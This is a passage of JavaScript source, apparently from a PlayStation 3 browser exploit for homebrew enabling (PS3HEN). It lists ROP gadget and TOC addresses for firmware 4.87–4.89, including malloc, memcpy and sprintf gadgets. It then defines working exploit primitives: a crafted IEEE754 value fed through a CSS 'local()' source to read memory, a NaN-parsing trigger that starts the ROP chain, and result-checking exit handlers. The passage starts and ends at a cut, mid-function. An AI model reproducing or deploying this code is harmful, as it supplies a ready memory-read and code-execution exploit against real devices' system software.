var gadget_mod15_addr_487=0x39D038; //load r3 word
var gadget_mod16_addr_487=0x4F732C; //set toc
//CEX 4.88
var toc_addr_488 = 0x6F5558;
var default_vsh_pub_toc_488=0x6ED5AC;
var vsh_opd_patch_488=0x96D5C;
var vsh_opd_addr_488=0x6EBB70;
var vsh_toc_addr_screenshot_488=0x72082C;// Updated From 4.83/4.84/4.85
var vsh_ps3hen_key_toc_488=0x707A1C;// Updated From 4.83/4.84/4.85
var toc_entry1_addr_488=0x6DA3D0;
var toc_entry2_addr_488=0x725CE8;//idps Updated From 4.83/4.84/4.85
var toc_entry3_addr_488=0x6DA3C8;
var toc_entry4_addr_488=0x740000;
var toc_entry5_addr_488=0x6EB6C8;
var toc_entry6_addr_488=0x0;
var gadget1_addr_488=0x097604;
var gadget2_addr_488=0x60A0E4;
var gadget3_addr_488=0x0D505C;
var gadget4_addr_488=0x229838;
var gadget5_addr_488=0x12BB1C;
var gadget6_addr_488=0x615CDC;//malloc
var gadget7_addr_488=0x01FFD0;//memset
var gadget8_addr_488=0x020000;//memcpy
var gadget9_addr_488=0x029B08;
var gadget10_addr_488=0x62E024;
var gadget11_addr_488=0x59A4B0;// sprintf
var gadget12_addr_488=0x0C864C;
var gadget13_addr_488=0x48E5A8;//free
var gadget14_addr_488=0x48C7A0;
var gadget15_addr_488=0x489C88;
var gadget_mod1_addr_488=0x60EFD8;
var gadget_mod2_addr_488=0x013B74;
var gadget_mod3_addr_488=0x0B8E00;
var gadget_mod4a_addr_488=0x0D9684;
var gadget_mod4b_addr_488=0x42C778;
var gadget_mod4c_addr_488=0x054AF0; //load r5 word
var gadget_mod5_addr_488=0x4238DC;
var gadget_mod6_addr_488=0x020C00;
var gadget_mod7_addr_488=0x01A6AC;
var gadget_mod8_addr_488=0x2BACB8;// graceful exit
var gadget_mod9_addr_488=0x010B20;
var gadget_mod10_addr_488=0x1C5794;
var gadget_mod11_addr_488=0x18B144;
var gadget_mod12_addr_488=0x6331FC; //validation gadget
var gadget_mod13_addr_488=0x336870; //store_r3 gadget
var gadget_mod14_addr_488=0x633900; //load r3 dword
var gadget_mod15_addr_488=0x39D038; //load r3 word
var gadget_mod16_addr_488=0x4F732C; //set toc
//CEX 4.89
var toc_addr_489 = 0x6F5558;
var default_vsh_pub_toc_489=0x6ED5AC;
var vsh_opd_patch_489=0x96D5C;
var vsh_opd_addr_489=0x6EBB70;
var vsh_toc_addr_screenshot_489=0x72082C;// Updated From 4.83/4.84/4.85
var vsh_ps3hen_key_toc_489=0x707A1C;// Updated From 4.83/4.84/4.85
var toc_entry1_addr_489=0x6DA3D0;
var toc_entry2_addr_489=0x725CE8;//idps Updated From 4.83/4.84/4.85
var toc_entry3_addr_489=0x6DA3C8;
var toc_entry4_addr_489=0x740000;
var toc_entry5_addr_489=0x6EB6C8;
var toc_entry6_addr_489=0x0;
var gadget1_addr_489=0x097604;
var gadget2_addr_489=0x60A0E4;
var gadget3_addr_489=0x0D505C;
var gadget4_addr_489=0x229838;
var gadget5_addr_489=0x12BB1C;
var gadget6_addr_489=0x615CDC;//malloc
var gadget7_addr_489=0x01FFD0;//memset
var gadget8_addr_489=0x020000;//memcpy
var gadget9_addr_489=0x029B08;
var gadget10_addr_489=0x62E024;
var gadget11_addr_489=0x59A4B0;// sprintf
var gadget12_addr_489=0x0C864C;
var gadget13_addr_489=0x48E5A8;//free
var gadget14_addr_489=0x48C7A0;
var gadget15_addr_489=0x489C88;
var gadget_mod1_addr_489=0x60EFD8;
var gadget_mod2_addr_489=0x013B74;
var gadget_mod3_addr_489=0x0B8E00;
var gadget_mod4a_addr_489=0x0D9684;
var gadget_mod4b_addr_489=0x42C778;
var gadget_mod4c_addr_489=0x054AF0; //load r5 word
var gadget_mod5_addr_489=0x4238DC;
var gadget_mod6_addr_489=0x020C00;
var gadget_mod7_addr_489=0x01A6AC;
var gadget_mod8_addr_489=0x2BACB8;// graceful exit
var gadget_mod9_addr_489=0x010B20;
var gadget_mod10_addr_489=0x1C5794;
var gadget_mod11_addr_489=0x18B144;
var gadget_mod12_addr_489=0x6331FC; //validation gadget
var gadget_mod13_addr_489=0x336870; //store_r3 gadget
var gadget_mod14_addr_489=0x633900; //load r3 dword
var gadget_mod15_addr_489=0x39D038; //load r3 word
var gadget_mod16_addr_489=0x4F732C; //set toc
function hexh2bin(hex_val)
{
return String.fromCharCode(hex_val);
}
function hexw2bin(hex_val)
{
return String.fromCharCode(hex_val >> 16) + String.fromCharCode(hex_val);
}
function hexdw2bin(hex_val) // 32bit support only (due to javascript 53bit integer limitation)
{
return hexw2bin(0) + hexw2bin(hex_val); // 00000000 padding
}
function k_hexdw2bin(hex_val) // 32bit support only (due to javascript 53bit integer limitation)
{
return hexw2bin(0x80000000) + hexw2bin(hex_val); // 80000000 padding
}
function logAdd(txt)
{
if(debug===true)
{
if(document.getElementById('log').innerHTML===''){setInnerHTML(document.getElementById('log'),hr);}
addInnerHTML(document.getElementById('log'),txt+br);
}
}
function clearLogEntry()
{
setInnerHTML(document.getElementById('log'),'');
}
function clearResultEntry()
{
setInnerHTML(document.getElementById('result'),'');
}
function writeEnvInfo()
{
setInnerHTML(document.getElementById('footer'),hr+"<h3>PS3 System Browser Info:</h3>"+navigator.userAgent+br+navigator.appName+" (" + navigator.platform + ")"+br+new Date().toTimeString() + br);
}
String.prototype.setCharAt = function(index,chr)
{
if(index > this.length-1) {return this;}
return this.substr(0,index)+chr+this.substr(index+1);
};
String.prototype.toHex8 = function()
{
return ('00' + this).substr(-2);
};
String.prototype.toHex16 = function()
{
return ('0000' + this).substr(-4);
};
String.prototype.toHex32 = function()
{
return ('00000000' + this).substr(-8);
};
String.prototype.asciiAt = function(i)
{
return this.charCodeAt(i)&0xFF;
};
String.prototype.toAscii = function(hex_16)
{
var ascii='';
var i=0;
while(i<this.length){if(hex_16===true){ascii += this.charCodeAt(i).toString(16).toHex16();} else {ascii += this.charCodeAt(i).toString(16);}i+=1;}
return ascii;
};
String.prototype.convert=function(ascii)
{
if(this.length<1){return '';}
var asciistr='';var asciichr='';var i=0;var ret=[];
if(ascii===true){asciistr = this;}
else {asciistr = this.toAscii();}
while((asciistr.length%4)!==0){asciistr+='00';}
if(asciistr.substr(asciistr.length-3,2)!=='00'){asciistr+='0000';}
while(i<asciistr.length){
asciichr = asciistr.substr(i, 4);
ret.push(String.fromCharCode(parseInt(asciichr, 16)));
i+=4;
}
return ret.join('');
};
String.prototype.convertedSize = function(ascii)
{
if(this.length<1){return 0;}
var asciistr='';
if(ascii===true){asciistr=this;}
else {asciistr = this.toAscii();}
while((asciistr.length%4)!==0){asciistr+='00';}
if(asciistr.substr(asciistr.length-3,2)!=='00'){asciistr+='0000';}
return asciistr.length/2;
};
String.prototype.replaceAt=function(index, ch)
{
return this.substr(0,index)+ch+this.substr(index+ch.length);
};
String.prototype.repeat = function(num)
{
return new Array(num+1).join(this);
};
//#########################################################################################################################################################################
Number.prototype.noExponents=function()
{
var data= String(this).split(/[eE]/);
if(data.length===1) {return data[0];}
var z= '', sign= this<0? '-':'',
str= data[0].replace('.', ''),
mag= Number(data[1])+ 1;
if(mag<0){
z= sign+'0.';
while(mag++){z+='0';}
return z+str.replace(/^\-/,'');
}
mag -= str.length;
while(mag--) {z += '0';}
return str + z;
};
function fromIEEE754(bytes, ebits, fbits)
{
var retNumber=0;
var bits=[];
var i;
var j;
var byte;
for (i=bytes.length;i;i-=1)
{
byte=bytes[i-1];
for(j=8;j;j-=1)
{
bits.push(byte % 2 ? 1 : 0); byte = byte >> 1;
}
}
bits.reverse();
var str = bits.join('');
var bias = (1 << (ebits - 1)) - 1;
var s = parseInt(str.substring(0, 1), 2) ? -1 : 1;
var e = parseInt(str.substring(1, 1 + ebits), 2);
var f = parseInt(str.substring(1 + ebits), 2);
if (e === (1 << ebits) - 1)
{
retNumber = f !== 0 ? NaN : s * Infinity;
}
else if (e > 0)
{
retNumber = s * Math.pow(2, e - bias) * (1 + f / Math.pow(2, fbits));
}
else if (f !== 0)
{
retNumber = s * Math.pow(2, -(bias-1)) * (f / Math.pow(2, fbits));
}
else
{
retNumber = s * 0;
}
return retNumber.noExponents();
}
function generateIEEE754(address, size)
{
var hex = new Array
(
(address >> 24) & 0xFF,
(address >> 16) & 0xFF,
(address >> 8) & 0xFF,
(address) & 0xFF,
(size >> 24) & 0xFF,
(size >> 16) & 0xFF,
(size >> 8) & 0xFF,
(size) & 0xFF
);
return fromIEEE754(hex, 11, 52);
}
function generateExploit(address, size)
{
var n = (address<<32) | ((size>>1)-1);
return generateIEEE754(address, (n-address));
}
function readMemory(address, size)
{
if(document.getElementById('exploit')){document.getElementById('exploit').style.src = "local(" + generateExploit(address, size) + ")";}
else {throw "exploit div: HTML error!";}
}
function checkMemory(address, size, len)
{
if(size<len){throw "checkMemory function arguments error! size=0x"+size.toString(16)+" < len=0x"+size.toString(16);}
if(document.getElementById('exploit'))
{
readMemory(address, size);
if(debug===true)
{
var x=document.getElementById('exploit').style.src.substr(6,len);
logAdd("checkMemory: "+x.toAscii(true));
return x;
}
return document.getElementById('exploit').style.src.substr(6,len);
}
else {throw "exploit div: HTML error!";}
}
function trigger(exploit_addr){
if(document.getElementById('trigger')){document.getElementById("trigger").innerHTML = -parseFloat("NAN(ffffe" + exploit_addr.toString(16) + ")");}
else {throw "trigger div: HTML error!";}
}
//####################################################################################################################################################################
function rop_exit_5val(suc,fail,fail1,fail2,fail3,fail4,fail5)
{
// operations to execute on ROP exit
var t_val=xtra_data.substr(store_idx_arr1[0],2).toAscii(true);
var t_val2=xtra_data.substr(store_idx_arr1[1],2).toAscii(true);
var t_val3=xtra_data.substr(store_idx_arr1[2],2).toAscii(true);
var t_val4=xtra_data.substr(store_idx_arr1[3],2).toAscii(true);
var t_val5=xtra_data.substr(store_idx_arr1[4],2).toAscii(true);
var t_val6=xtra_data.substr(store_idx_arr2[0],2).toAscii(true);
var t_val7=xtra_data.substr(store_idx_arr2[1],2).toAscii(true);
var t_val8=xtra_data.substr(store_idx_arr2[2],2).toAscii(true);
var t_val9=xtra_data.substr(store_idx_arr2[3],2).toAscii(true);
var t_val10=xtra_data.substr(store_idx_arr2[4],2).toAscii(true);
var tmp;
//logAdd('store_idx='+store_idx_arr1[0].toString()+br+'t_val='+t_val+br+'store_idx2='+store_idx_arr1[1].toString()+br+'t_val2='+t_val2+br+'store_idx3='+store_idx_arr1[2].toString()+br+'t_val3='+t_val3);
//logAdd('store_idx4='+store_idx_arr1[3].toString()+br+'t_val4='+t_val4+br+'store_idx5='+store_idx_arr1[4].toString()+br+'t_val5='+t_val5+br+'store_idx6='+store_idx_arr2[0].toString()+br+'t_val6='+t_val6);
//logAdd('store_idx7='+store_idx_arr2[1].toString()+br+'t_val7='+t_val7+br+'store_idx8='+store_idx_arr2[2].toString()+br+'t_val8='+t_val8+br+'store_idx9='+store_idx_arr2[3].toString()+br+'t_val9='+t_val9+br+'store_idx10='+store_idx_arr2[4].toString()+br+'t_val10='+t_val10);
if((parseInt(t_val,16)!==0)&&(parseInt(t_val2,16)!==0)&&(parseInt(t_val3,16)!==0)&&(parseInt(t_val4,16)!==0)&&(parseInt(t_val5,16)!==0)&&(parseInt(t_val,16)===(parseInt(t_val6,16)))&&(parseInt(t_val2,16)===(parseInt(t_val7,16)))&&(parseInt(t_val3,16)===(parseInt(t_val8,16)))&&(parseInt(t_val4,16)===(parseInt(t_val9,16)))&&(parseInt(t_val5,16)===(parseInt(t_val10,16))))
{
var el=document.getElementById('auto_close');
if(el)
{
if(el.checked===true)window.close();
}
tmp=suc;
}
else
{
if((parseInt(t_val,16)!==parseInt(t_val6,16))||(parseInt(t_val,16)===0))fail+=fail1;
if((parseInt(t_val2,16)!==parseInt(t_val7,16))||(parseInt(t_val2,16)===0))fail+=fail2;
if((parseInt(t_val3,16)!==parseInt(t_val8,16))||(parseInt(t_val3,16)===0))fail+=fail3;
if((parseInt(t_val4,16)!==parseInt(t_val9,16))||(parseInt(t_val4,16)===0))fail+=fail4;
if((parseInt(t_val5,16)!==parseInt(t_val10,16))||(parseInt(t_val5,16)===0))fail+=fail5;
tmp=fail;
}
showResult(tmp);
}
function rop_exit_3val(suc,fail,fail1,fail2,fail3)
{
// operations to execute on ROP exit
var t_val=xtra_data.substr(store_idx_arr1[0],2).toAscii(true);
var t_val2=xtra_data.substr(store_idx_arr1[1],2).toAscii(true);
var t_val3=xtra_data.substr(store_idx_arr1[2],2).toAscii(true);
var t_val4=xtra_data.substr(store_idx_arr2[0],2).toAscii(true);
var t_val5=xtra_data.substr(store_idx_arr2[1],2).toAscii(true);
var t_val6=xtra_data.substr(store_idx_arr2[2],2).toAscii(true);
var tmp;
//logAdd('store_idx='+store_idx_arr1[0].toString()+br+'t_val='+t_val+br+'store_idx2='+store_idx_arr1[1].toString()+br+'t_val2='+t_val2+br+'store_idx3='+store_idx_arr1[2].toString()+br+'t_val3='+t_val3);
//logAdd('store_idx4='+store_idx_arr2[0].toString()+br+'t_val4='+t_val4+br+'store_idx5='+store_idx_arr2[1].toString()+br+'t_val5='+t_val5+br+'store_idx6='+sto2e_idx_arr2[0].toString()+br+'t_val6='+t_val6);
if((parseInt(t_val,16)!==0)&&(parseInt(t_val2,16)!==0)&&(parseInt(t_val3,16)!==0)&&(parseInt(t_val,16)===(parseInt(t_val4,16)))&&(parseInt(t_val2,16)===(parseInt(t_val5,16)))&&(parseInt(t_val3,16)===(parseInt(t_val6,16))))
{
var el=document.getElementById('auto_close');
if(el)
{
if(el.checked===true)window.close();
}
tmp=suc;
}
else
{
if((parseInt(t_val,16)!==parseInt(t_val4,16))||(parseInt(t_val,16)===0))fail+=fail1;
if((parseInt(t_val2,16)!==parseInt(t_val5,16))||(parseInt(t_val2,16)===0))fail+=fail2;
if((parseInt(t_val3,16)!==parseInt(t_val6,16))||(parseInt(t_val3,16)===0))fail+=fail3;
tmp=fail;
}
showResult(tmp);
}
function rop_exit_2val(suc,fail,fail1,fail2)
{
// operations to execute on ROP exit
var t_val=xtra_data.substr(store_idx_arr1[0],2).toAscii(true);
var t_val2=xtra_data.substr(store_idx_arr1[1],2).toAscii(true);
var t_val3=xtra_data.substr(store_idx_arr2[0],2).toAscii(true);
var t_val4=xtra_data.substr(store_idx_arr2[1],2).toAscii(true);
var tmp;
//logAdd('store_idx_arr1[0]='+store_idx_arr1[0].toString()+br+'t_val='+t_val+br+'store_idx_arr1[1]='+store_idx_arr1[1].toString()+br+'t_val2='+t_val2+br+'store_idx_arr2[0]='+store_idx_arr2[0].toString()+br+'t_val3='+t_val3+br+'store_idx_arr2[1]='+store_idx_arr2[1].toString()+br+'t_val4='+t_val4);
if((parseInt(t_val,16)!==0)&&(parseInt(t_val2,16)!==0)&&(parseInt(t_val,16)===(parseInt(t_val3,16)))&&(parseInt(t_val2,16)===(parseInt(t_val4,16))))
{
var el=document.getElementById('auto_close');